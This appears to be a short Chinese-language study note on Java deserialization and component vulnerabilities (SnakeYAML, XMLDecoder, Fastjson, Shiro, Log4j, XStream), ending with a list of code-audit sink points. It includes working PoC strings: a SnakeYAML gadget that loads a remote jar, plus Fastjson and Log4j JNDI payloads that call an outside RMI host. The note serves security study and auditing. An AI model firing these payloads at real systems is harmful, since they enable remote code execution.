Java:反序列化+组件漏洞

outman
4
2025-06-30

Java 反序序列化

  1. 1. 原生反序列化:ObjectInputstream.readObject(),SnakeYaml ,XMLDecoder

  2. 2. 第三方反序列化:Fastjson , Jackson ,Xstream

原生

抓包,看数据包中是否有要反序列化的数据,rO0A开头

中利用工具,生成攻击链,java-chains ,或者 yakit 的 Yso-Java Hack

xmldecoder

POC:cmd /c calc

snakeyaml

snakeyaml 反序列化时,可以结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行

POC:!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:8000/upload/yaml-payload.jar']]]]

xmldecoder 就是 xml 的格式转换,snakeyaml 就是 yaml 的格式转换,还有一种最常见的:json


第三方

Fastjson

fastjson 是阿里巴巴开源的高性能 java json 处理库,引入了 auto-type 功能, @type 获取类名

//java-chains 云上搭建,jndi control 需要配置,利用 jndi basicpayload

可以burp插件扫描漏洞

POC:{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://jndi.fuzz.red:5/ahld/test","autoCommit":true}

Jackson

流行的json解释器,可以对json序列化和反序列化

shiro

apache 的安全框架,用于验证,授权,加密

漏洞点:cookie 中是否有 rememberMe 字段,也可能藏在别的地方

Xstream

可以将对象序列化为 xml 或 xml 反序列化对象

漏洞点

log4j

开源的 java 日志框架,可以在可能上传日志的地方,恶意构造

POC:${jndi:rmi://jndi.fuzz.red:5/ahld/test}

总结

代码审计Sink点:

1JDK(ObjectInputStream.readObject)

2XMLDecoder.readObject

3Yaml.load

4XStream.fromXML(xstream)

5ObjectMapper.readValue(jackson)

6、JSON.parse JSON.parseObject(fastjson)

7CookieRememberMeManager(shiro)

8、logger.error logger.info(log4j)